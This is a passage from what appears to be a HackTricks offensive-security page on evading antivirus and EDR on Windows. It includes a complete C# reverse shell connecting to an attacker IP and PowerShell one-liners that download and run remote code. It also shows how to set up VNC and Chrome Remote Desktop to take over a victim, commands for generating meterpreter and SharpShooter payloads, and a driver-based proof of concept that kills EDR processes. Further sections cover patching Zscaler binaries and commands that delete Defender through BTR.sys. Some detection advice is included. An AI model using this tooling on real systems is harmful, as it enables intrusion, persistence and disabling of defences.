o + o + o + o 496 + o + + o + + 497 o + + + o + + o 498 -_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o 499 :: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\ 500 for all your container cravings -_-_-_-_-_-~|__( ^ .^) + + 501 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' '' 502 + o o + o + o o + o 503 + o + o ~ Mariusz Banach / mgeeky o 504 o ~ + ~ <mb [at] binary-offensive.com> 505 o + o + + 506 507 [.] Packaging input file to output .iso (iso)... 508 Burning file onto ISO: 509 Adding file: /TotallyLegitApp.exe 510 511 [+] Generated file written to (size: 3420160): container.iso 512 ``` 513 514 Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) 515 516 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure> 517 518 ## ETW 519 520 Event Tracing for Windows (ETW) is a powerful logging mechanism in Windows that allows applications and system components to **log events**. However, it can also be used by security products to monitor and detect malicious activities. 521 522 Similar to how AMSI is disabled (bypassed) it's also possible to make the **`EtwEventWrite`** function of the user space process return immediately without logging any events. This is done by patching the function in memory to return immediately, effectively disabling ETW logging for that process. 523 524 You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.<sup>[[33]](#references)[[34]](#references)</sup> 525 526 527 ## C# Assembly Reflection 528 529 Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV. 530 531 Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process. 532 533 Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so: 534 535 - **Fork\&Run** 536 537 It involves **spawning a new sacrificial process**, inject your post-exploitation malicious code into that new process, execute your malicious code and when finished, kill the new process. This has both its benefits and its drawbacks. The benefit to the fork and run method is that execution occurs **outside** our Beacon implant process. This means that if something in our post-exploitation action goes wrong or gets caught, there is a **much greater chance** of our **implant surviving.** The drawback is that you have a **greater chance** of getting caught by **Behavioural Detections**. 538 539 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28215%29.png" alt=""><figcaption></figcaption></figure> 540 541 - **Inline** 542 543 It's about injecting the post-exploitation malicious code **into its own process**. This way, you can avoid having to create a new process and getting it scanned by AV, but the drawback is that if something goes wrong with the execution of your payload, there's a **much greater chance** of **losing your beacon** as it could crash. 544 545 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281136%29.png" alt=""><figcaption></figcaption></figure> 546 547 > [!TIP] 548 > If you want to read more about C# Assembly loading, please check out this article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) and their InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) 549 550 You can also load C# Assemblies **from PowerShell**, check out [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) and [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk). 551 552 ## Using Other Programming Languages 553 554 As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), it's possible to execute malicious code using other languages by giving the compromised machine access **to the interpreter environment installed on the Attacker Controlled SMB share**. 555 556 By allowing access to the Interpreter Binaries and the environment on the SMB share you can **execute arbitrary code in these languages within memory** of the compromised machine. 557 558 The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have **more flexibility to bypass static signatures**. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful. 559 560 ## TokenStomping 561 562 Token stomping manipulates the access token of a security product such as an EDR or AV. Reducing the token's privileges can leave the process running while preventing it from performing privileged inspection or remediation actions. 563 564 To prevent this Windows could **prevent external processes** from getting handles over the tokens of security processes. 565 566 - [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) 567 - [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) 568 - [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) 569 570 ## Using Trusted Software 571 572 ### Chrome Remote Desktop 573 574 As described in [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), it's easy to just deploy the Chrome Remote Desktop in a victims PC and then use it to takeover it and maintain persistence:<sup>[[35]](#references)</sup> 575 1. Download from https://remotedesktop.google.com/, click on "Set up via SSH", and then click on the MSI file for Windows to download the MSI file. 576 2. Run the installer silently in the victim (admin required): `msiexec /i chromeremotedesktophost.msi /qn` 577 3. Go back to the Chrome Remote Desktop page and click next. The wizard will then ask you to authorize; click the Authorize button to continue. 578 4. Execute the supplied command with the required adjustments: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (the `--pin` parameter sets the PIN without using the GUI). 579 580 581 ## Advanced Evasion 582 583 Evasion is a very complicated topic, sometimes you have to take into account many different sources of telemetry in just one system, so it's pretty much impossible to stay completely undetected in mature environments. 584 585 Every environment you go against will have their own strengths and weaknesses. 586 587 I highly encourage you go watch this talk from [@ATTL4S](https://twitter.com/DaniLJ94), to get a foothold into more Advanced Evasion techniques. 588 589 590 [502507556?Embedded=True&Owner=32913914&Source=Vimeo Logo](https%3A//vimeo.com/502507556%3Fembedded%3Dtrue%26owner%3D32913914%26source%3Dvimeo_logo) 591 592 his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth. 593 594 595 [Watch?V=Iba7Ung39O4](https%3A//www.youtube.com/watch%3Fv%3DIbA7Ung39o4) 596 597 ## **Old Techniques** 598 599 ### **Check which parts Defender finds as malicious** 600 601 You can use [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) which will **remove parts of the binary** until it **finds out which part Defender** is finding as malicious and split it to you.\ 602 Another tool doing the **same thing is** [**avred**](https://github.com/dobin/avred) with an open web offering the service in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 603 604 ### **Telnet Server** 605 606 Until Windows10, all Windows came with a **Telnet server** that you could install (as administrator) doing: 607 608 ```bash 609 pkgmgr /iu:"TelnetServer" /quiet 610 ``` 611 612 Make it **start** when the system is started and **run** it now: 613 614 ```bash 615 sc config TlntSVR start= auto obj= localsystem 616 ``` 617 618 **Change telnet port** (stealth) and disable firewall: 619 620 ```text 621 tlntadmn config port=80 622 netsh advfirewall set allprofiles state off 623 ``` 624 625 ### UltraVNC 626 627 Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup) 628 629 **ON THE HOST**: Execute _**winvnc.exe**_ and configure the server: 630 631 - Enable the option _Disable TrayIcon_ 632 - Set a password in _VNC Password_ 633 - Set a password in _View-Only Password_ 634 635 Then, move the binary _**winvnc.exe**_ and **newly** created file _**UltraVNC.ini**_ inside the **victim** 636 637 #### **Reverse connection** 638 639 The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` 640 641 **WARNING:** To maintain stealth you must not do a few things 642 643 - Don't start `winvnc` if it's already running or you'll trigger a [popup](https://i.imgur.com/1SROTTl.png). check if it's running with `tasklist | findstr winvnc` 644 - Don't start `winvnc` without `UltraVNC.ini` in the same directory or it will cause [the config window](https://i.imgur.com/rfMQWcf.png) to open 645 - Don't run `winvnc -h` for help or you'll trigger a [popup](https://i.imgur.com/oc18wcu.png) 646 647 ### GreatSCT 648 649 Download it from: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) 650 651 ```text 652 git clone https://github.com/GreatSCT/GreatSCT.git 653 cd GreatSCT/setup/ 654 ./setup.sh 655 cd .. 656 ./GreatSCT.py 657 ``` 658 659 Inside GreatSCT: 660 661 ```text 662 use 1 663 list #Listing available payloads 664 use 9 #rev_tcp.py 665 set lhost 10.10.14.0 666 sel lport 4444 667 generate #payload is the default name 668 #This will generate a meterpreter xml and a rcc file for msfconsole 669 ``` 670 671 Now **start the lister** with `msfconsole -r file.rc` and **execute** the **xml payload** with: 672 673 ```text 674 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml 675 ``` 676 677 **Current defender will terminate the process very fast.** 678 679 ### Compiling our own reverse shell 680 681 https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15 682 683 #### First C# Revershell 684 685 Compile it with: 686 687 ```text 688 c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt 689 ``` 690 691 Use it with: 692 693 ```text 694 back.exe <ATTACKER_IP> <PORT> 695 ``` 696 697 ```csharp 698 // From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs 699 using System; 700 using System.Text; 701 using System.IO; 702 using System.Diagnostics; 703 using System.ComponentModel; 704 using System.Linq; 705 using System.Net; 706 using System.Net.Sockets; 707 708 709 namespace ConnectBack 710 { 711 public class Program 712 { 713 static StreamWriter streamWriter; 714 715 public static void Main(string[] args) 716 { 717 using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1]))) 718 { 719 using(Stream stream = client.GetStream()) 720 { 721 using(StreamReader rdr = new StreamReader(stream)) 722 { 723 streamWriter = new StreamWriter(stream); 724 725 StringBuilder strInput = new StringBuilder(); 726 727 Process p = new Process(); 728 p.StartInfo.FileName = "cmd.exe"; 729 p.StartInfo.CreateNoWindow = true; 730 p.StartInfo.UseShellExecute = false; 731 p.StartInfo.RedirectStandardOutput = true; 732 p.StartInfo.RedirectStandardInput = true; 733 p.StartInfo.RedirectStandardError = true; 734 p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); 735 p.Start(); 736 p.BeginOutputReadLine(); 737 738 while(true) 739 { 740 strInput.Append(rdr.ReadLine()); 741 //strInput.Append("\n"); 742 p.StandardInput.WriteLine(strInput); 743 strInput.Remove(0, strInput.Length); 744 } 745 } 746 } 747 } 748 } 749 750 private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) 751 { 752 StringBuilder strOutput = new StringBuilder(); 753 754 if (!String.IsNullOrEmpty(outLine.Data)) 755 { 756 try 757 { 758 strOutput.Append(outLine.Data); 759 streamWriter.WriteLine(strOutput); 760 streamWriter.Flush(); 761 } 762 catch (Exception err) { } 763 } 764 } 765 766 } 767 } 768 ``` 769 770 ### C# using compiler 771 772 ```text 773 C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt 774 ``` 775 776 [REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066) 777 778 [REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639) 779 780 Automatic download and execution: 781 782 ```csharp 783 64bit: 784 powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell 785 786 32bit: 787 powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell 788 ``` 789 790 791 [469Ac5F9944Ed1B8C39129Dc0037Bb8F](https%3A//gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f) 792 793 C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) 794 795 ### C++ 796 797 ```text 798 sudo apt-get install mingw-w64 799 800 i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc 801 ``` 802 803 - [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp) 804 - [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/) 805 - [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf) 806 - [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) 807 - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html) 808 - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/) 809 810 ### Using python for build injectors example: 811 812 - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo) 813 814 ### Other tools 815 816 ```bash 817 # Veil Framework: 818 https://github.com/Veil-Framework/Veil 819 820 # Shellter 821 https://www.shellterproject.com/download/ 822 823 # Sharpshooter 824 # https://github.com/mdsecactivebreach/SharpShooter 825 # Javascript Payload Stageless: 826 SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3 827 828 # Stageless HTA Payload: 829 SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee 830 831 # Staged VBS: 832 SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4 833 834 # Donut: 835 https://github.com/TheWover/donut 836 837 # Vulcan 838 https://github.com/praetorian-code/vulcan 839 ``` 840 841 ### More 842 843 - [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) 844 845 ## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space 846 847 Storm-2603 leveraged a tiny console utility known as **Antivirus Terminator** to disable endpoint protections before dropping ransomware. The tool brings its **own vulnerable but *signed* driver** and abuses it to issue privileged kernel operations that even Protected-Process-Light (PPL) AV services cannot block.<sup>[[12]](#references)</sup> 848 849 Key take-aways 850 1. **Signed driver**: The file delivered to disk is `ServiceMouse.sys`, but the binary is the legitimately signed driver `AToolsKrnl64.sys` from Antiy Labs’ “System In-Depth Analysis Toolkit”. Because the driver bears a valid Microsoft signature it loads even when Driver-Signature-Enforcement (DSE) is enabled. 851 2. **Service installation**: 852 ```powershell 853 sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys" 854 sc start ServiceMouse 855 ``` 856 The first line registers the driver as a **kernel service** and the second one starts it so that `\\.\ServiceMouse` becomes accessible from user land. 857 3. **IOCTLs exposed by the driver** 858 | IOCTL code | Capability | 859 |-----------:|-----------------------------------------| 860 | `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) | 861 | `0x990000D0` | Delete an arbitrary file on disk | 862 | `0x990001D0` | Unload the driver and remove the service | 863 864 Minimal C proof-of-concept: 865 ```c 866 #include <windows.h> 867 868 int main(int argc, char **argv){ 869 DWORD pid = strtoul(argv[1], NULL, 10); 870 HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 871 DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL); 872 CloseHandle(hDrv); 873 return 0; 874 } 875 ``` 876 4. **Why it works**: BYOVD skips user-mode protections entirely; code that executes in the kernel can open *protected* processes, terminate them, or tamper with kernel objects irrespective of PPL/PP, ELAM or other hardening features. 877 878 Detection / Mitigation 879 • Enable Microsoft’s vulnerable-driver block list (`HVCI`, `Smart App Control`) so Windows refuses to load `AToolsKrnl64.sys`. 880 • Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list. 881 • Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls. 882 883 ### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching 884 885 Zscaler’s **Client Connector** applies device-posture rules locally and relies on Windows RPC to communicate the results to other components. Two weak design choices make a full bypass possible: 886 887 1. Posture evaluation happens **entirely client-side** (a boolean is sent to the server). 888 2. Internal RPC endpoints only validate that the connecting executable is **signed by Zscaler** (via `WinVerifyTrust`).<sup>[[11]](#references)</sup> 889 890 By **patching four signed binaries on disk** both mechanisms can be neutralised: 891 892 | Binary | Original logic patched | Result | 893 |--------|------------------------|---------| 894 | `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Always returns `1` so every check is compliant | 895 | `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ any (even unsigned) process can bind to the RPC pipes | 896 | `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Replaced by `mov eax,1 ; ret` | 897 | `ZSATunnel.exe` | Integrity checks on the tunnel | Short-circuited | 898 899 Minimal patcher excerpt: 900 901 ```python 902 pattern = bytes.fromhex("44 89 AC 24 80 02 00 00") 903 replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1 904 905 with open("ZSATrayManager.exe", "r+b") as f: 906 data = f.read() 907 off = data.find(pattern) 908 if off == -1: 909 print("pattern not found") 910 else: 911 f.seek(off) 912 f.write(replacement) 913 ``` 914 915 After replacing the original files and restarting the service stack: 916 917 * **All** posture checks display **green/compliant**. 918 * Unsigned or modified binaries can open the named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`). 919 * The compromised host gains unrestricted access to the internal network defined by the Zscaler policies. 920 921 This case study demonstrates how purely client-side trust decisions and simple signature checks can be defeated with a few byte patches. 922 923 ## Microsoft Defender `BTR.sys` trusted-functionality abuse 924 925 Defender's **Boot-Time Removal** driver is a useful counterexample to classic BYOVD. `BTR.sys` is a legitimate Microsoft-signed remediation component with no memory-corruption bug and no IOCTL interface; after gaining administrator access and `SeLoadDriverPrivilege`, an operator can instead forge its private remediation transaction and obtain intended Ring-0 file/registry operations. This is a **post-compromise AV/EDR-neutralization primitive, not initial access or privilege escalation**, and the driver can be extracted from the target's own `MpEngine.dll` `BOOTTIMETOOL` resource rather than importing a conspicuous third-party driver.<sup>[[36]](#references)</sup> 926 927 ### Staging the one-shot driver 928 929 Defender normally drops the resource as a random `[a-z]{8}.sys` file and registers a similarly named kernel service. `DriverEntry` reads the service's `Args` value, opens the referenced NTFS ADS, decrypts and validates the action list, writes feedback, and returns `0xC0000056` (`STATUS_DELETE_PENDING`) after successful execution so the driver unloads instead of remaining resident. A forged service has the following characteristic values.<sup>[[36]](#references)[[37]](#references)</sup> 930 931 ```text 932 Type = 1 933 Start = 1 934 ErrorControl = 0 935 ImagePath = \??\C:\Windows\System32\drivers\<random>.sys 936 Group = Boot Bus Extender 937 Args = C:\Windows\System32\drivers\<random>.sys:changelist 938 ``` 939 940 The `:changelist` stream contains one RC4-encrypted blob. The analyzed builds reuse a fixed 256-byte key, so encryption is not an authorization boundary. A valid plaintext has a 24-byte global header (`Magic=0xFEE1DEAD`, `Version=2`, `PayloadOffset=0x10`, header CRC and a payload-derived transaction ID), followed by a null-terminated UTF-16 feedback path and any number of items. Each item has a 16-byte header (`DataSize`, `Action`, `HeaderCRC`, `DataCRC`) plus action-specific data ending in **exactly four NUL bytes**. Every header/data region is checked independently with CRC-32 polynomial `0xEDB88320`, initial state `0xFFFFFFFF`, and **no final XOR** (`~CRC32`); the CRC state is reset for every region.<sup>[[36]](#references)[[37]](#references)</sup> 941 942 The accepted action IDs expose these kernel primitives.<sup>[[36]](#references)[[37]](#references)</sup> 943 944 | ID | Item data | Result | 945 | --- | --- | --- | 946 | 1 | `[UTF-16 path]` | Delete a file, including a locked file | 947 | 2 | `[UTF-16 path]` | Remove an empty directory | 948 | 3 | `[Flags][source][destination]` | Move a file into an attacker-selected protected path; an empty destination means delete | 949 | 4 | `[Flags][key path]` | Recursively delete a registry key | 950 | 5 | `[Flags][key path + "\\" + value]` | Delete a registry value | 951 | 6 | `[Flags][type][size][key path + "\\" + value][data]` | Create/update a registry value and create missing key paths | 952 953 For actions 5 and 6, the on-wire key/value separator is **two consecutive backslashes**; a conventionally formatted path will not be split correctly. The feedback file mostly mirrors the request, but the first four data bytes of each item become its resulting `NTSTATUS`. For actions 1 and 2, which have no leading flags field, BTR shifts the path into the four reserved trailing bytes to make space for that status.<sup>[[36]](#references)</sup> 954 955 ### `BTR_CLI` workflow and early-boot window 956 957 [`BTR_CLI`](https://github.com/Dump-GUY/BTR_CLI) implements the complete chain: extract `BTR.sys` from local Defender, create `<random>.sys:changelist` and a feedback stream, serialize/checksum/encrypt chained actions, directly create the service registry key, then call `NtLoadDriver` for `-trigger now` or leave it as a system-start driver for `-trigger boot`. Direct registry staging avoids the normal SCM `CreateServiceW` path and therefore does **not** produce service-install Event ID 7045. Boot-triggered artifacts can later be removed with `BTR_CLI.exe -cleanup <service_name>`.<sup>[[36]](#references)[[37]](#references)</sup> 958 959 ```powershell 960 # Runtime: remove protected security-service registrations from Ring 0 961 BTR_CLI.exe -chain -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" -trigger now 962 963 # Boot: delete a security driver before its user-mode protection stack starts 964 BTR_CLI.exe -a 1 -s "C:\Windows\System32\drivers\wd\WdFilter.sys" -trigger boot 965 ``` 966 967 `Start=0` is not usable because BTR performs file I/O from `DriverEntry` before the storage stack and `SystemRoot` link are ready. `Start=1` plus the high-priority `Boot Bus Extender` group instead executes in Phase 1: NTFS is usable, but many system-start security drivers and user-mode EDR services have not initialized. Boot-start filters such as `WdFilter` may already be loaded, yet BTR can remove their binaries or service configuration before the next start and can delete service executables before SCM launches them. ELAM does not close this gap because BTR runs after boot-start evaluation and carries a valid Microsoft signature.<sup>[[36]](#references)</sup> 968 969 Multiple actions execute in one transaction. The PoC prepends Action 1 for the hard-coded `\SystemRoot\Temp\BootClean.log`: BTR creates this log, then consumes its own delete request and removes it before unloading. This reduces evidence, while placing feedback in `<random>.sys:<random>.dat` allows removal of the driver and both streams together.<sup>[[36]](#references)[[37]](#references)</sup> 970 971 ### High-signal detection correlations 972 973 Signature-only rules and the Microsoft vulnerable-driver blocklist do not address abuse of intended BTR functionality. Prefer these behavioral correlations, while distinguishing legitimate Defender lineage from an arbitrary launcher.<sup>[[36]](#references)</sup> 974 975 - **Sysmon 15:** `.sys:changelist` creation is universal to BTR staging. A `.dat` ADS attached to the same `.sys` is especially suspicious because legitimate Defender normally places feedback below `C:\ProgramData\Microsoft\Windows Defender\Scans\RebootActions\`. 976 - **Sysmon 12/13 without System 7045:** correlate direct creation of `HKLM\SYSTEM\CurrentControlSet\Services\<random>` containing `Args=...:changelist` and `Group=Boot Bus Extender` with no matching SCM installation event. 977 - **Sysmon 6 -> 23:** correlate a known BTR driver load from non-Defender lineage with subsequent file deletion attributed to `System`/PID 4, particularly for security binaries. 978 - **Sysmon 11 -> 23:** alert on rapid creation and deletion of `\SystemRoot\Temp\BootClean.log` by `System`/PID 4. 979 - Restrict and audit assignment/enabling of `SeLoadDriverPrivilege`; a Microsoft signature alone is insufficient trust when a security-tool driver is staged by `cmd.exe`, PowerShell, or an unknown process. 980 981 ## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs 982 983 Protected Process Light (PPL) enforces a signer/level hierarchy so that only equal-or-higher protected processes can tamper with each other. Offensively, if you can legitimately launch a PPL-enabled binary and control its arguments, you can convert benign functionality (e.g., logging) into a constrained, PPL-backed write primitive against protected directories used by AV/EDR.<sup>[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references)[[20]](#references)</sup> 984 985 What makes a process run as PPL 986 - The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU. 987 - The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`. 988 - A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation. 989 990 See also a broader intro to PP/PPL and LSASS protection here: 991 992 [Credentials Protections](/hacktricks/windows-hardening/stealing-credentials/credentials-protections) 993 994 Launcher tooling 995 - Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE): 996 - [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)<sup>[[19]](#references)</sup> 997 - Usage pattern: 998 999 ```text 1000 CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...] 1001 # example: spawn a Windows-signed component at PPL level 1 (Windows) 1002 CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args> 1003 # example: spawn an anti-malware signed component at level 3 1004 CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args> 1005 ``` 1006 1007 LOLBIN primitive: ClipUp.exe 1008 - The signed system binary `C:\Windows\System32\ClipUp.exe` self-spawns and accepts a parameter to write a log file to a caller-specified path. 1009 - When launched as a PPL process, the file write occurs with PPL backing. 1010 - ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations. 1011 1012 8.3 short path helpers 1013 - List short names: `dir /x` in each parent directory. 1014 - Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA` 1015 1016 Abuse chain (abstract) 1017 1) Launch the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` using a launcher (e.g., CreateProcessAsPPL). 1018 2) Pass the ClipUp log-path argument to force a file creation in a protected AV directory (e.g., Defender Platform). Use 8.3 short names if needed. 1019 3) If the target binary is normally open/locked by the AV while running (e.g., MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging). 1020 4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup. 1021 1022 Example invocation (paths redacted/shortened for safety): 1023 1024 ```text 1025 # Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names 1026 CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll 1027 ``` 1028 1029 Notes and constraints 1030 - You cannot control the contents ClipUp writes beyond placement; the primitive is suited to corruption rather than precise content injection. 1031 - Requires local admin/SYSTEM to install/start a service and a reboot window. 1032 - Timing is critical: the target must not be open; boot-time execution avoids file locks. 1033 1034 Detections 1035 - Process creation of `ClipUp.exe` with unusual arguments, especially parented by non-standard launchers, around boot. 1036 - New services configured to auto-start suspicious binaries and consistently starting before Defender/AV. Investigate service creation/modification prior to Defender startup failures. 1037 - File integrity monitoring on Defender binaries/Platform directories; unexpected file creations/modifications by processes with protected-process flags. 1038 - ETW/EDR telemetry: look for processes created with `CREATE_PROTECTED_PROCESS` and anomalous PPL level usage by non-AV binaries. 1039 1040 Mitigations 1041 - WDAC/Code Integrity: restrict which signed binaries may run as PPL and under which parents; block ClipUp invocation outside legitimate contexts. 1042 - Service hygiene: restrict creation/modification of auto-start services and monitor start-order manipulation. 1043 - Ensure Defender tamper protection and early-launch protections are enabled; investigate startup errors indicating binary corruption. 1044 - Consider disabling 8.3 short-name generation on volumes hosting security tooling if compatible with your environment 